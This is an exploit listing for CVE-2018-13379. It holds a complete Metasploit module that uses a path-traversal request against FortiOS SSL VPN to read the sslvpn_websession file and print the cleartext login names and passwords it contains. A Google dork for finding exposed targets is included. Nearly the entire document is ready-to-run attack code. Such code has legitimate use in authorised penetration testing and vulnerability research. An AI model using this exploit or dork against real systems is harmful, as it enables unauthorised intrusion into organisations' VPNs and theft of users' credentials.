FortiOS 5.6.7 / 6.0.4 Credential Disclosure

`# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.  
# Google Dork: intext:"Please Login" inurl:"/remote/login"  
# Date: 17/08/2019  
# Exploit Author: Carlos E. Vieira  
# Vendor Homepage: https://www.fortinet.com/  
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html  
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).  
# Tested on: 5.6.6  
# CVE : CVE-2018-13379  
  
require 'msf/core'  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Post::File   
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SSL VPN FortiOs - System file leak',  
'Description' => %q{  
FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.  
This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).  
This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).  
},  
'References' =>  
[  
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]  
],  
'Author' => [ 'lynx (Carlos Vieira)' ],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SSL' => true  
},  
))  
  
end  
  
  
def run()  
print_good("Checking target...")  
res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})  
  
if res && res.code == 200  
print_good("Target is Vulnerable!")  
data = res.body  
current_host = datastore['RHOST']  
filename = "msf_sslwebsession_"+current_host+".bin"  
File.delete(filename) if File.exist?(filename)  
file_local_write(filename, data)  
print_good("Parsing binary file.......")  
parse()  
else  
if(res && res.code == 404)  
print_error("Target not Vulnerable")  
else  
print_error("Ow crap, try again...")  
end  
end  
end  
def parse()  
current_host = datastore['RHOST']  
  
fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")  
words = 0  
while (line = fileObj.gets)  
printable_data = line.gsub(/[^[:print:]]/, '.')  
array_data = printable_data.scan(/.{1,60}/m)  
for ar in array_data  
if ar != "............................................................"  
print_good(ar)  
end  
end  
#print_good(printable_data)  
  
end   
fileObj.close   
end  
end  
`